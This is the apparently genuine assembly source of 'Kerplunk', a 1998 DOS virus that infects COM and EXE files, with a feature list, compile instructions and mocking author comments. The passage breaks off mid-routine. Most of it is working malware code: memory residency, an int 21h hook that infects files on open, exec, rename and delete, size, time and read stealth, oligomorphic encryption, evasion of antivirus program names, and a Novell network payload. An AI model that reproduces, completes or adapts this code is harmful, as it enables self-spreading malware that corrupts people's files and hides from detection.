SLAM4.048: Kerplunk by Virtual Daemon/SLAM
fifl€‹›‹
‹‹‹‹ ‹fifi€€›‹ ‹‹‹
fififl›€fl‹‹fl€€›‹€€fl€flfl‹ Kerplunk
fl ›fi›fififlfl‹€fl€flfi›fifi ›fl‹ ÕÕÕÕÕÕÕÕ---------------ÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕ-Ø
fl ‹‹€fl€‹€flfl›‹‹fl fi by Virtual Daemon [SLAM]
‹fl€fifififi €› ››››fl‹
‹fl›››fifl fi€ fl› ›fifl› ˙ TSR/COM/EXE infector
fi fl €› fl ˙ plays around with Novell Network (v4+ tested!)
fi€ ˙ Redirection Stealth on 3Fh/42h (Read/LSeek)
›‹ €›fi ˙ Size Stealth on 11h/12h/4Eh/4Fh (FCB/DTA)
‹‹fi‹€fi€‹€‹› ˙ Time Stealth on 57h (Get/Set File Time/Date)
‹€flflfl flfl flflflflfl‹ ˙ Disinfects the host on 40h/4B01h (Write/Debug Load)
˙ Infects on 3Dh/41h/43h/4B00h/56h/6Ch (Open/Erase/ChMod/Exec/Move/Ext.Open)
˙ Memory Stealth on 48h/49h/4Ah/4Bh/52h (MAlloc/MFree/MShrink/Exec/GetDosVars)
˙ Oligomorphic in files using its internal oligomorphic engine
˙ Creates 8-bit XOR/ADD/SUB/INC/DEC/NOT decryptors (no garbage)
˙ Encrypts the decryption routine via a simple XOR
˙ 24h interrupt handler (no errors)
˙ Disable stealth on FCB calls when 32h (Get DPB) is called
˙ Enable stealth on 00h/31h/4ch
˙ Disable memory stealth under Windows
˙ Disable 32bit File Access on Windows for DOS-Box Size Stealth
˙ Disable stealth if ARJ,RAR,LHA,PKZIP,CHKDSK,HIT,BACKUP,MSBACKUP,TELIX,DEFRAG,
SPEEDISK or UC are running
˙ Doesn't infect files beginning with RA(RAV),FV(FV86/FV386),FI(FindVirus),
NO(Nod-ICE),SC(McAfee Scan),VS(McAfee VShield),TB(ThunderByte Anti-Virus)
˙ Novell Network payload on 4bh (Exec) if IPX installed
˙ has some minimal retro/anti-av code
˙ Other nifty features...
Behaviour/Comments:
Kerplunk will first call function 1818h (ah=18h - null function for CP/M compatibility) to see if it's already resident. If the virus is already in memory it will restore control to the host file. If the virus isn't resident, it will try to allocate memory via MCB direct manipulation. First, it will add UMBs to DOS memory chain (DOS v5+) and then it will get the last MCB in chain ('Z'). The virus will subtract its size from it, and then it will copy its body up. Then, the virus will simply save the original 21h interrupt handler and will install its own handler instead. The following function are being intercepted while the virus is in memory: 00h/11h/12h/18h/ 31h/32h/3dh/3fh/40h/41h/42h/43h/48h/49h/4ah/4bh/4ch/4eh/4fh/52h/56h/57h/6ch.
After that the virus will restore control to the original host file.
While in memory, the virus will intercept a certain number of functions, in order to "fulfill its needs". It will stealth its virus body on many DOS functions from files and from memory.
The virus has a lame oligomorphic engine (coded in about 30 minutes) that will create random XOR/ADD/SUB/INC/DEC/NOT decryptors. The decryption key is a 8-bit variable number. No special anti-debugging or anti-av code has been added.
Keplunk will check if IPX protocol is installed on every 4bh call. If IPX is installed, then the virus will activate its Novell payload.
First, the virus will check if the currently logged in user is a Supervisor equivalent or not. Then, the virus will accomplish a certain number of actions depending on the DOS date and time.
Kerplunk is named after the latest album of the Green Day band.
Additional comments:
I did not implemented tunnelling of 21h interrupt because I found out that the majority of the tunnelling methods interfere with the Novell Network.
Above that, a good tunnelling routine would take up some space in the virus.
A small and thus less effective method, would only raise more AV alarms and cause more trouble.
Also, I didn't used any anti-AV tricks and/or anti-debugging code just for the simple fact that the virus will be detected very fast if it will spread around. I left out the marking string (out of the encrypted area), so, any AV won't have any problem creating a scan string for it.
The virus has a lot of minuses that I'm aware of. Kerplunk was supposed to come out as a mega-cool virus, but it actually didn't. Time is something I don't have! :(
Well, enough bitching around! Enjoy the code!
Greetings:
- Trigger, Yesna: You guys are the best! ;)
- IndianOwl: I just can't get enough of you, baby! =)
- CyberYoda: Sorry for your friend man... :(
- KidChaos: told ya I'd finish it in time ;-O to the whole SLAM
- gang: yer my 2nd (umm... actually 3rd ;) family.. hehe
- and to all the other virus writers in the world!
Last note: the virus is 100% commented so you shouldn't have ANY problems understanding it. Oh btw, the source code has been released FOR RESEARCHING PURPOSES ONLY! Infecting other people with Kerplunk is immoral... but you can do it anyway... ;-)
Compile it with:
tasm /m kerplunk.asm (4.0)
tlink /x kerplunk.obj (6.0)
exe2bin kerplunk.exe kerplunk.com
%out
%out Kerplunk, Copyright (c) 1998 by Virtual Daemon [SLAM]
%out
.286 ;doh! wtf were you expecting?
.model tiny
.code
org 0
jumps ;eh? jump where? ;-))
begin:
call delta ;let tha' games begin!
delta:
push ds es ;save registers
mov bp,sp
mov bp,word ptr ss:[bp+4] ;get the IP
sub bp,offset delta ;subtract the size of the call (3 bytes)
push cs cs
pop ds es ;DS=ES=CS
lea di,[bp+crypt] ;DI=start of our real decryption routine
lea dx,[bp+cryptdecrypt] ;put the offset of our procedure in DX
call dx ;and call it
lea si,[bp+cryptstart] ;where to begin
crypt:
mov cx,endc-cryptstart ;how many bytes to encrypt/decrypt
xorloop:
crypt_algo dw 9090h ;8-bit encryption/decryption algorithm
crypt_val db 90h ;8-bit encryption/decryption value
inc_algo db 4 dup (90h) ;increment algorithm
loop xorloop
fillret db 90h ;NOP (changed into a RET later)
cryptstart: ;start of encrypted area
mov ax,1818h ;check if we're already resident
int 21h ;(null function for CP/M compatibility)
cmp ax,'V'+'i'+'r'+'t'+'u'+'a'+'l'
jne alloc
cmp bx,'D'+'a'+'e'+'m'+'o'+'n' ;pretty kewl, eh? ;-)
jne alloc
cmp cx,'S'+'L'+'A'+'M'-'1'+'9'+'9'+'8'
je alreadythere
alloc:
mov ah,52h ;get list of lists
int 21h
mov ds,es:[bx-2] ;segment of first MCB
mov ax,5802h ;get UMB link state
int 21h
cbw ;put the current link state in AX
push ax ;and save it
mov ax,5803h ;set new UMB link state
mov bx,1 ;add UMBs to DOS memory chain
int 21h
mov ax,ds ;DS holds the 1st MCB
xor di,di ;clear DI
call getlastmcb ;get the last MCB in chain in DS:SI
pop bx ;BX holds the old UMB link state
push ax
mov ax,5803h ;restore the old UMB link state
int 21h
pop ax ;AX=DS=last MCB
sub word ptr ds:[di+3],(endheap-begin+15)/16+1 ;subtract the size of our
sub word ptr ds:[di+12h],(endheap-begin+15)/16+1 ;virus from MCB and PSP
add ax,word ptr ds:[di+3] ;add the size of our virus in paras
inc ax ;get a new segment
mov es,ax ;ES holds the new segment
push cs
pop ds ;DS=CS
lea si,[bp+begin]
mov cx,(heap-begin+1)/2 ;size of our virus
rep movsw ;from DS:SI to ES:DI (ES:0)
mov ds,cx ;DS=CX=0
push word ptr ds:[21h*4] ;save the int 21h vector (seg:ofs)
push word ptr ds:[21h*4+2] ;on stack
pop word ptr es:[old_21h+2] ;restore/save it into 'old_21h'
pop word ptr es:[old_21h]
mov word ptr ds:[21h*4+2],es ;replace the Int 21h vector
mov word ptr ds:[21h*4],offset my_21h
alreadythere:
pop es ds ;restore registers
cmp byte ptr cs:[bp+host],0 ;check host type (COM or EXE?)
jne exe_exit
com_exit:
call clearegs_com ;clear registers (except SI/DI/BP)
lea si,cs:[bp+orig_jmp]
mov bp,100h
xchg bp,di ;DI=100h
push di ;push 100h on stack
movsb
movsw ;from SI to DI
xor si,si ;SI/DI=0
xor di,di
xor bp,bp ;blah... I know, I know... :-/
retn ;pass control to COM host
exe_exit:
call clearegs_exe ;clear most of the registers
mov ax,es ;ES=PSP
add ax,10h ;PSP+10h=CS
add word ptr cs:[bp+_cs],ax
cli ;clear interrupts
mov sp,word ptr cs:[bp+_sp]
add ax,word ptr cs:[bp+_ss]
mov ss,ax ;adjust SS:SP
sti ;restore interrupts
push cs:[bp+_cs] ;jump to CS:IP
push cs:[bp+_ip]
xor ax,ax ;clear AX/BP
xor bp,bp
retf ;pass control to EXE host
_cs dw 0fff0h ;original CS...
_ip dw 0 ;IP...
_ss dw 0 ;SS...
_sp dw 0 ;and SP values
host db 0 ;0 if COM, else EXE
orig_jmp db 0cdh,20h,0
clearegs_exe:
xor di,di ;clear SI/DI only for EXE's
xor si,si ;SI/DI will be clear directly for COM's
clearegs_com:
xor ax,ax ;clear AX...
xor bx,bx ;... and tha' rest of the crowd
xor cx,cx
cwd
ret
my_21h:
call mcbcheck ;check the MCB for "bad" programs
push bp ;save BP and flags
pushf
xor bp,bp ;clear BP
nextfunction:
cmp ah,byte ptr cs:[bp+ftable] ;check if the function is in our table
jne wrongone
popf
jmp word ptr cs:[bp+ftable+1] ;jump to the code assigned for it
wrongone:
add bp,3 ;+3 bytes (1=function,2=offset of JMP)
cmp bp,3*23 ;have we reached the end of the table?
jne nextfunction
popf
pop bp ;restore flags and BP
exithandler:
db 0eah ;I'll see you when you get there...
old_21h dd ?
ftable:
db 00h ;Terminate a Program
dw enablefcb
db 11h ;Find First Matching File via FCB
dw fcbstealth
db 12h ;Find Next Matching File via FCB
dw fcbstealth
db 18h ;Null Function for CP/M compatibility
dw installcheck
db 31h ;Terminate & Stay Resident -- KEEP
dw enablefcb
db 32h ;Get Disk Parameter Block
dw getdpb
db 3dh ;Open a File Handle
dw infect
db 3fh ;Read from File via Handle
dw readstealth
db 40h ;Write to File via Handle
dw disinfect
db 41h ;Delete File
dw infect
db 42h ;Set File Pointer -- LSEEK
dw seekstealth
db 43h ;Set/Query File Attribute -- CHMOD
dw infect
db 48h ;Allocate Memory (Get Mem Size)
dw memorystealth
db 49h ;Free Allocated Memory Block
dw memorystealth
db 4ah ;Shrink or Expand a Memory Block
dw memorystealth
db 4bh ;Execute or Load a Program -- EXEC
dw exec
db 4ch ;Terminate Program -- EXIT
dw enablefcb
db 4eh ;Find First Matching File via DTA
dw dtastealth
db 4fh ;Find Next Matching File via DTA
dw dtastealth
db 52h ;Get DOS Variables (Get List of Lists)
dw listoflsts
db 56h ;Rename/Move a File
dw infect
db 57h ;Set/Query File Time/Date
dw timestealth
db 6ch ;Extended Open/Create
dw extinfect
endftable:
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 18h Null Function for CP/M compatibility - Virus installation check
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
installcheck:
pop bp
cmp ah,18h ;ax=1818h?
jne exithandler
mov ax,'V'+'i'+'r'+'t'+'u'+'a'+'l'
mov bx,'D'+'a'+'e'+'m'+'o'+'n' ;awwwwwww.... :)
mov cx,'S'+'L'+'A'+'M'-'1'+'9'+'9'+'8'
iret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 11h/12h FCB Find First/Next DOS Function - FCB Stealth
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
fcbstealth:
pop bp
call int21
cmp al,0 ;check if error
jne fcb_exit
cmp byte ptr cs:stealthmode,0 ;can we stealth?
je fcb_exit
cmp byte ptr cs:stealthfcb,0 ;chkdsk running?
je fcb_exit
pushf
pusha
push ds es
mov ah,2fh ;get the DTA in ES:BX
call int21
cmp byte ptr es:[bx],0ffh ;check if extended FCB
jne notextended
add bx,7
notextended:
mov si,bx
add si,9
call check_ext ;check if file is COM or EXE
jb fcb_error
add si,0eh ;SI points to filetime
mov di,bx
add di,1dh ;DI points to filesize
call sizestealth
fcb_error:
pop es ds
popa
popf
fcb_exit:
iret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 4Eh/4Fh DTA Find First/Next DOS Function - DTA Stealth
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
dtastealth:
pop bp
call int21
jb dta_exit ;jump if error
cmp byte ptr cs:stealthmode,0 ;can we stealth?
je dta_exit
pushf
pusha
push ds es
mov ah,2fh ;get the DTA in ES:BX
call int21
xor cx,cx
lea si,word ptr es:[bx+1eh] ;SI points to the beg. of filename
namecheck:
cmp byte ptr es:[si],'.'
je dotfound
inc si
jmp short namecheck
dotfound:
inc si
call check_ext ;check if file is COM or EXE
jb dta_error
xchg si,dx
mov di,si
add si,16h ;SI points to filetime
add di,1ah ;DI points to filesize
call sizestealth
dta_error:
pop es ds
popa
popf
dta_exit:
retf 2
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Subtract the size of our virus from file (Input: SI=Filetime, DI=FileSize)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
sizestealth:
mov ax,es:[si]
and al,00011111b
cmp al,16 ;check if file is infected
jne ss_exit
cmp word ptr es:[di],(heap-begin)
jb ss_exit
sub word ptr es:[di],(heap-begin) ;subtract the virus from file
sbb word ptr es:[di+2],0
ss_exit:
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 3Fh Read from File via Handle DOS Function - Read Stealth
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
readstealth:
pop bp
cmp byte ptr cs:stealthmode,0 ;can we stealth?
je exithandler
call handlechk ;check if handle is okay
jc exithandler
call infhandle ;check if infected
jnc exithandler
mov word ptr cs:buff_dx,dx ;save the address of the buffer
call int21 ;fake a read call
jb exithandler
pushf
pusha
mov word ptr cs:nrbytes,ax ;save the number of bytes read
cmp word ptr cs:curpointer,0 ;read within first 64K?
jne vir_subtract
cmp word ptr cs:curpointer+2,1ch ;read from the first 1ch bytes?
jae vir_subtract
header_stealth:
call seek2eof ;seek to EOF (returns fsize in DX:AX)
sub ax,(heap-buffer) ;ax points to the orig header's pos
sbb dx,0
add ax,word ptr cs:curpointer+2 ;add the position in header where the
adc dx,0 ;read is being made
xchg cx,dx ;from DX:AX into CX:DX
xchg dx,ax
call seekfrombof ;seek from BOF+CX:DX
mov ax,word ptr cs:curpointer+2 ;AX=position in header
add ax,word ptr cs:nrbytes ;add the number of bytes read
cmp ax,1ch ;are we out of the header?
ja adjust_cx ;aha..:-/ must "adjust"
mov cx,word ptr cs:nrbytes ;use the original value
jmp short stealthread
adjust_cx:
mov ax,1ch ;AX=1ch
sub ax,word ptr cs:curpointer+2 ;subtract the curent offset
mov cx,ax ;cx=number of bytes to read
stealthread:
mov ah,3fh
mov dx,word ptr cs:buff_dx ;restore the address of the buffer
call int21 ;and do the read
mov dx,word ptr cs:curpointer+2 ;restore the curent position in file
add dx,word ptr cs:nrbytes
mov cx,word ptr cs:curpointer
call seekfrombof ;and seek to it (BOF+CX:DX)
vir_subtract:
mov ax,word ptr cs:nrbytes ;get the number of bytes read
add word ptr cs:curpointer+2,ax ;and add it to the current file pointer
adc word ptr cs:curpointer,0
call seekhide ;"adjust" the seek
popa ;restore registers and flags
mov ax,word ptr cs:nrbytes ;put the number of bytes read in AX
popf_exit:
popf
retf 2
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Memory Stealth (Called by 4Bh/52h) - hide the amount of bytes stolen
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
stealthmem:
pusha
push ds es ;save 'em up
cmp byte ptr cs:windoze,0 ;is windows active?
je popall_ret ;yeah.. don't stealth the memory then
pushf ;save flags
call getmcb ;get the MCB of our virus
mov ax,word ptr ds:[di+3] ;AX=size of it
add ax,(endheap-begin+15)/16+1 ;add the size of our virus in paras
mov word ptr ds:[di+3],ax ;and put it back
popf ;restore flags
popall_ret:
pop es ds ;restore from stack
popa
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 40h Write to File via Handle DOS Function - Disinfect file
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
disinfect:
pop bp
call handlechk ;check if the handle is okay
jc exithandler
call infhandle ;check if already infected
jnc exithandler
call disinfecthandle
jmp exithandler
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Disinfect Handle (Used by 40h and 4B01h DOS Functions)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
disinfecthandle:
pusha
push ds es
call get_position ;get current position in file
push ax dx ;and save it
call seek2eof ;seek to end of file
xchg cx,dx ;from DX:AX into CX:DX
xchg dx,ax
push cx dx ;save it for later use
sub dx,(heap-buffer) ;subtract the amount of bytes between
sbb cx,0 ;the eof and our original buffer
call seekfrombof ;seek to original bytes
mov ah,3fh ;read the original buffer
mov cx,1ch ;28 bytes
push cs
pop ds
lea dx,header ;store em here
call int21
call seek2bof ;seek to start of file
lea si,header
call writeheader
pop dx cx ;restore the filesize in CX:DX
sub dx,(heap-begin) ;subtract the size of our virus
sbb cx,0
call seekfrombof ;seek there
mov ah,40h ;truncate the host file
xor cx,cx
call int21
mov ah,68h ;commit file
call int21
pop dx ax ;restore original position in file
mov ax,4200h
call int21
jmp short popall_ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 42h Set File Pointer (LSEEK) DOS Function - Seek Stealth
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
seekstealth:
pop bp
cmp byte ptr cs:stealthmode,0 ;can we stealth?
je exithandler
call handlechk ;check if handle is okay
jc exithandler
call infhandle ;check if infected
jnc exithandler
call int21 ;fake a seek call
pushf
jb popf_exit ;exit if error
mov word ptr cs:curpointer,dx ;save the file pointer
mov word ptr cs:curpointer+2,ax
call seekhide ;play hide and seek
jb popf_exit
mov ax,word ptr cs:curpointer+2 ;DX:AX = new position of file pointer
mov dx,word ptr cs:curpointer
jmp popf_exit
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Stealth the virus body (used by 3Fh Read Stealth and 42h Seek Stealth)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
seekhide:
call seek2eof ;seek to EOF (=>filesize in DX:AX)
sub ax,(heap-begin) ;subtract the size of our virus
sbb dx,0
cmp dx,word ptr cs:curpointer ;check where's the read being made
jc hide_virus
ja not_us ;the read is above us
cmp ax,word ptr cs:curpointer+2
jnc not_us ;the read is above us
hide_virus:
push ax
sub word ptr cs:curpointer+2,ax ;subtract the offsets
sbb word ptr cs:curpointer,dx
mov ax,word ptr cs:curpointer+2 ;adjust the number of bytes read
sub word ptr cs:nrbytes,ax
pop ax
mov word ptr cs:curpointer,dx ;curpointer=DX:AX=FileSize-VirusSize
mov word ptr cs:curpointer+2,ax
not_us:
mov dx,word ptr cs:curpointer+2
mov cx,word ptr cs:curpointer
call seekfrombof ;seek to BOF+CX:DX
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; MCB stuff (Output: AX=DS=segment of last MCB - use UMBs if available)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
getmcb:
xor di,di
mov ah,52h ;get list of lists
call int21
mov ds,es:[bx-2] ;segment of first MCB
mov ax,5802h ;get UMB link state
call int21
cbw
push ax ;save the current link state
mov ax,5803h ;set new UMB link state
mov bx,1 ;add UMBs to DOS memory chain
call int21
mov ax,ds ;DS holds the 1st MCB
call getlastmcb ;get the last MCB in chain in DS:SI
pop bx ;BX holds the old UMB link state
push ax
mov ax,5803h ;restore the old UMB link state
call int21
pop bx ;BX=DS=last MCB
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Get last MCB in chain in DS:0 (Input: AX=DS=1st MCB segment, DI=0)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
getlastmcb:
cmp byte ptr ds:[di],'Z' ;last MCB in chain?
je gotlast ;yep! we have its segment in DS
inc ax
add ax,ds:[di+3] ;DS:3=MCB size
mov ds,ax ;get the next MCB and put its seg in DS
jmp short getlastmcb
gotlast:
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 4Bh Execute or Load a Program (EXEC) DOS Function
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
exec:
cmp al,1 ;loaded by debuggers?
jne infect ;nope...infect it
pop bp
pusha
mov ax,3d02h ;open the file from DS:DX
call int21
jc exec_over
xchg bx,ax ;put its handle in BX
call handlechk ;check if the handle is okay
jc badhandle
call infhandle ;check if already infected
jnc badhandle
call disinfecthandle ;disinfect the file
badhandle:
mov ah,3eh ;close the file
call int21
popa
exec_over:
jmp exithandler ;and jump to orig. int 21h
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 57h Get/Set File Time/Date DOS Function - Time Stealth
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
timestealth:
pop bp
cmp byte ptr cs:stealthmode,0 ;can we stealth?
je exithandler
call handlechk ;check if handle is okay
jc exithandler
cmp al,0 ;get time?
je time_query
push cx
and cl,00011111b
cmp cl,16 ;set 32?
jne time_adjust ;nope => we have to modify the value
pop cx
call infhandle ;check if infected
jnc screw_seconds ;not infected? screw the seconds
jmp exithandler ;if 32 leave it this way
time_adjust:
pop cx
call infhandle ;check if infected
jnc exithandler ;not infected? exit then
push cx
and cl,11100000b
or cl,00010000b ;set the new seconds number (16*2)
call int21
pop cx
pushf
jmp short tq_exit
time_query:
call infhandle ;check if infected
jnc exithandler ;not infected? exit then
call int21 ;fake a get time function
pushf
jb tq_exit
and cx,1111111111101111b ;mask the seconds number
tq_exit:
popf
retf 2
screw_seconds:
push cx
and cl,11100000b
or cl,00000010b ;set the new seconds number (2*2)
call int21
pop cx
pushf
jmp short tq_exit
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 6Ch gets here first...
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
extinfect:
pop bp
pusha
pushf
mov dx,si ;get the filename in DS:DX
jmp short infectit
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Infect a file (DS:DX=filename) - called by 3Dh/41h/43h/4B00h/56h/6Ch
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
infect:
pop bp
pusha
pushf
infectit:
push ds es
cmp ah,4bh ;if not EXEC function don't try any
jne nonovell ;Novell actions
call novellcheck ;Novell Network actions
nonovell:
call setnew_24h ;replace the int 24h vector
call extension_check ;check if filename is com/exe
jc noinf
call filename_check ;check if the file is an AV proggie
jc noinf
call stealthmem ;hide our virus from memory
mov ax,4300h ;get file attributes (al=0)
call int21
push ds dx cx ;save the filename and its attributes
mov ax,4301h ;set the attribute to a normal file
xor cx,cx
call int21
mov ax,3d02h ;open file for both reading/writting
call int21
jc restoreattr
xchg bx,ax ;put the handle in bx
mov ax,5700h ;query the time/date of our file
call int21
mov word ptr cs:f_time,cx ;save the time stamp
mov word ptr cs:f_date,dx ;save the date stamp
call handlechk ;check if the handle is okay
jc close
call infhandle ;check if the handle is already infected
jc close
push cs cs
pop ds es ;DS=ES=CS
mov ah,3fh ;read the first 1ch bytes from our
mov cx,1ch ;file and save them into "header"
lea dx,header
call int21
lea si,header ;copy the header into our temp buffer
lea di,buffer
mov cx,14 ;14*2=28=1Ch bytes
rep movsw ;from DS:SI to ES:DI
mov ax,word ptr header ;AX points to 1st 2 bytes from header
or ax,0010000000100000b ;lowercase
cmp ax,'zm' ;check if the file begins with zm
je _exe
cmp ax,'mz' ;or mz
je _exe
call cominfect ;if no mz/zm then the file is a .com
jmp short analyse
_exe:
call exeinfect
analyse:
jc close
call write_virus ;write the virus to file
mov ax,5701h ;set the time/date of our file
mov cx,word ptr cs:f_time ;restore previous saved values
mov dx,word ptr cs:f_date
and cl,11100000b
or cl,00010000b ;set the new seconds number (16*2=32)
call int21
close:
mov ah,3eh ;close the file
call int21
restoreattr:
pop cx dx ds ;restore original attributes
mov ax,4301h
call int21
noinf:
call restore_24h ;restore the int 24h vector
pop es ds
popf
jmp short popa_return ;popa/return to int 21h
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Memory Stealth (Called by 48h/49h/4Ah)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
memorystealth:
pop bp
pusha
cmp byte ptr cs:windoze,0 ;is windows active?
je popa_return
push ds es ;save registers
pushf ;save flags
call getmcb ;get the MCB of our virus
mov ax,cs
sub ax,bx ;BX=last MCB
dec ax
mov word ptr ds:[di+3],ax ;put the new size up
popf ;restore flags
pop es ds ;restore registers
popa_return:
popa
jmp exithandler
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Check if the handle is good (disk file)
; Input: BX=handle / Output: CF=1 if bad handle, 0 otherwise
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
handlechk:
pusha
mov ax,4400h ;query device information flags
call int21
jc hc_err
test dl,80h ;disk file?
jne hc_err
clc ;clear CF
jmp short hc_exit
hc_err:
stc ;set CF
hc_exit:
popa
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Check the MCBname of the current program
; Input: BX=handle
; Output: "Stealthmode"=0 if the program is "bad", 1 otherwise
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mcbcheck:
pusha
push ds es
mov ah,62h ;get PSP address
call int21
dec bx ;point to MCB
mov es,bx
mov ax,word ptr es:[8] ;ax=mcbname
or ax,0010000000100000b ;lowercase
cmp ax,'hc' ;check for CHKDSK
je badmcb
cmp ax,'kp' ;check for PKZIP
je badmcb
cmp ax,'ra' ;check for ARJ
je badmcb
cmp ax,'ar' ;check for RAR
je badmcb
cmp ax,'hl' ;check for LHA
je badmcb
cmp ax,'ih' ;check for HIT
je badmcb
cmp ax,'ab' ;check for BACKUP
je badmcb
cmp ax,'sm' ;check for MSBACKUP
je badmcb
cmp ax,'et' ;check for TELIX
je badmcb
cmp ax,'ed' ;check for DEFRAG
je badmcb
cmp ax,'sp' ;check for SPEEDISK
je badmcb
cmp ax,'cu' ;check for UC (Ultra Compressor)
je badmcb
mov byte ptr cs:stealthmode,1 ;stealth allowed
jmp short mcbc_exit
badmcb:
mov byte ptr cs:stealthmode,0 ;no stealth
mcbc_exit:
jmp short ih_exit
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Check if the handle is infected
; Input: BX=handle / Output: CF=1 if handle infected, 0 otherwise
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
infhandle:
pusha
push ds es
call get_position ;get the current filepointer in DX:AX
mov word ptr cs:curpointer,dx
mov word ptr cs:curpointer+2,ax ;save it
push dx ax
call seek2eof ;EOF seek and get the filesize in DX:AX
sub ax,(heap-mark) ;subtract the size between EOF and our
sbb dx,0 ;string indentifier
xchg cx,dx ;CX:DX=DX:AX
xchg dx,ax
call seekfrombof ;seek to our string identifier...
push cs
pop ds ;DS=CS
